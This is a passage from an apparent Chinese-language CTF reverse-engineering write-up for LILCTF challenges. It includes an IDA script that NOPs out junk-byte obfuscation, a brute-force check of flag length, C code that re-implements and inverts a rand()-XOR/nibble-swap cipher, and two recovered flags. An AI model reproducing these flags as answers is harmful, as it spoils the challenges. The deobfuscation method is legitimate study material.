  QAbstractButton::setText((QAbstractButton *)&v99, v85);
  v58 = v99;
  if ( !*v99 || *v99 != -1 && (v59 = _InterlockedSub(v99, 1u), v58 = v99, !v59) )
  {
    n2_2 = 2;
    QArrayData::deallocate(v58);
  }
  QMetaObject::connectSlotsByName((QMetaObject *)this, (QObject *)n2_2);
  QWidget::setWindowFlags(this, 33570816);
  return QWidget::setFixedSize(
           (QWidget *)(*(_DWORD *)(this[5] + 24) - *(_DWORD *)(this[5] + 16) + 1),
           *(_DWORD *)(this[5] + 28) - *(_DWORD *)(this[5] + 20) + 1,
           v86);
}·

注意到奇偶位加减1就是flag：

enc = bytearray(b"KJKDSGzR6`bsd5s1q`0t^wdsx`b1mw2oh4mu|")

for i in range(len(enc)):
    if i%2==1:
        enc[i]-=1
    else:
        enc[i]+=1
print(enc)

LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt}

obfusheader.h

程序中存在批量混淆74 01 00，先patch：

from idaapi import *
from idautils import *
from idc import *
import ida_bytes

def patch_and_reanalyze_all_functions():
    pattern_str = "74 01 00"
    replacement_str = "90 90 90"
    pattern_bytes = bytes([int(b, 16) for b in pattern_str.split() if b])
    replacement_bytes = bytes([int(b, 16) for b in replacement_str.split() if b])
    pattern_len = len(pattern_bytes)
    func_starts = []
    for func_ea in Functions():
        seg_name = get_segm_name(func_ea)
        if seg_name and seg_name.lower() in (".text", "text", "code"):
            func_starts.append(func_ea)

    print("Collected %d function start addresses in .text segment." % len(func_starts))
    print("Un-defining all functions...")
    for func_ea in func_starts:
        end_ea = get_func_attr(func_ea, FUNCATTR_END)
        if end_ea != BADADDR and end_ea > func_ea:
            del_items(func_ea, DELIT_SIMPLE, end_ea - func_ea)
        else:
            del_items(func_ea, DELIT_SIMPLE, 1)
    print("All functions have been un-defined.")
    
    text_seg = None
    for seg_ea in Segments():
        seg_name = get_segm_name(seg_ea)
        if seg_name and seg_name.lower() in (".text", "text", "code"):
            text_seg = seg_ea
            break
    if not text_seg:
        print("Error: .text segment not found!")
        return
        
    start_ea = get_segm_start(text_seg)
    end_ea = get_segm_end(text_seg)
    print("Searching for pattern in .text segment [%08X - %08X]..." % (start_ea, end_ea))
    ea = start_ea
    found_count = 0
    while ea < end_ea - pattern_len:
        match = True
        for i in range(pattern_len):
            if get_wide_byte(ea + i) != pattern_bytes[i]:
                match = False
                break
        if match:
            print("Pattern found at address %08X, patching..." % ea)
            ida_bytes.patch_bytes(ea, replacement_bytes)
            found_count += 1
            ea += pattern_len
        else:
            ea += 1
    print("Patching completed. Modified %d locations." % found_count)
    
    print("Re-creating original functions...")
    created_count = 0
    for func_ea in func_starts:
        del_items(func_ea, DELIT_SIMPLE, 1)
        if add_func(func_ea) == 0:
            print("Warning: Failed to create function at %08X." % func_ea)
        else:
            created_count += 1
    print("Function reconstruction completed. %d functions created." % created_count)

if __name__ == "__main__":
    patch_and_reanalyze_all_functions()

main在0x1400217E8，先根据程序输出爆破flag长度：

import subprocess

def find_correct_flag_length(program_path):
    correct_lengths = []
    for length in range(1, 100):
        test_input = 'A' * length
        result = subprocess.run([program_path],input=test_input,stdout=subprocess.PIPE,stderr=subprocess.PIPE,text=True,timeout=5)
        output = result.stdout + result.stderr
        if 'long' not in output.lower() and 'short' not in output.lower():
            print(f"{output.strip()}")
            correct_lengths.append(length)
    return correct_lengths

if __name__ == "__main__":
    program_path = "hello-obf.exe"
    correct = find_correct_flag_length(program_path)
    print(f"{correct}")

flag长度为40，之后下硬件断点调试，发现加密为：

unsigned __int64 __fastcall sub_7FF607C27842(__int64 a1, unsigned __int64 a2)
{
  for ( i = 0; ; ++i )
  {
    if ( i >= a2 >> 1 )
      break;
    *(_WORD *)(2LL * i + a1) ^= rand();
  }
}

void __fastcall sub_7FF607C278B1(__int64 a1, unsigned __int64 a2)
{
  for ( i = 0; i < a2; ++i )
  {
    v5 = *(_BYTE *)(a1 + i);
    v4 = 16 * v5;
    v3 = v5 >> 4;
    *(_BYTE *)(i + a1) = (v5 >> 4) | (16 * v5);
  }
  for ( j = 0; j < a2; ++j )
    *(_BYTE *)(a1 + j) = ~*(_BYTE *)(a1 + j);
}

在srand上打断点，得到seed为0x0000000048691412

同构：

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main() {
    uint8_t input[40];
    uint8_t output[40];
    size_t bytes_read = fread(input, 1, 40, stdin);
    unsigned int seed = 0x48691412;
    srand(seed);
    for (int i = 0; i < 40; i += 2) {
        uint16_t plain = input[i] | (input[i + 1] << 8);
        uint16_t r = rand() & 0xFFFF;
        uint16_t cipher = plain ^ r;
        output[i] = cipher & 0xFF;
        output[i + 1] = (cipher >> 8) & 0xFF;
    }
    for (int i = 0; i < 40; ++i) {
        uint8_t v5 = output[i];
        uint8_t v3 = v5 >> 4;
        uint8_t v4 = (v5 & 0x0F) << 4;
        output[i] = v3 | v4;
    }
    for (int j = 0; j < 40; ++j) {
        output[j] = ~output[j] & 0xFF;
    }
    for (int i = 0; i < 40; ++i) {
        printf("%02x ", output[i]);
        if ((i + 1) % 8 == 0) printf(" ");
    }
    printf("\n");
    return 0;
}

比较在sub_7FF91B80B0A0，a2是△addr，目标地址在0xF1E01FED41，提取密文：

1	5CAFB01CFCEFC78F03DF343911BC472D0C48FF8F7F0DD0FAF83F83FDA6A8061ECE7B25BE53DCDD1B

解密：

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main() {
    uint8_t ciphertext[40] = {0x5c,0xaf,0xb0,0x1c,0xfc,0xef,0xc7,0x8f,0x03,0xdf,0x34,0x39,0x11,0xbc,0x47,0x2d,0x0c,0x48,0xff,0x8f,0x7f,0x0d,0xd0,0xfa,0xf8,0x3f,0x83,0xfd,0xa6,0xa8,0x06,0x1e,0xce,0x7b,0x25,0xbe,0x53,0xdc,0xdd,0x1b};
    uint8_t temp[40];
    uint8_t plaintext[40];
    unsigned int seed = 0x48691412;
    srand(seed);
    for (int i = 0; i < 40; ++i) {
        temp[i] = ~ciphertext[i] & 0xFF;
    }
    for (int i = 0; i < 40; ++i) {
        uint8_t v = temp[i];
        temp[i] = ((v & 0x0F) << 4) | (v >> 4);
    }
    for (int i = 0; i < 40; i += 2) {
        uint16_t cipher = temp[i] | (temp[i + 1] << 8);
        uint16_t r = rand() & 0xFFFF;
        uint16_t plain = cipher ^ r;
        plaintext[i] = plain & 0xFF;
        plaintext[i + 1] = (plain >> 8) & 0xFF;
    }
    for (int i = 0; i < 40; ++i) {
        printf("%c", plaintext[i]);
    }
    return 0;
}

LILCTF{WhAt_iS_DA7AfloW_cAn_lT_Be_3a73n}

分类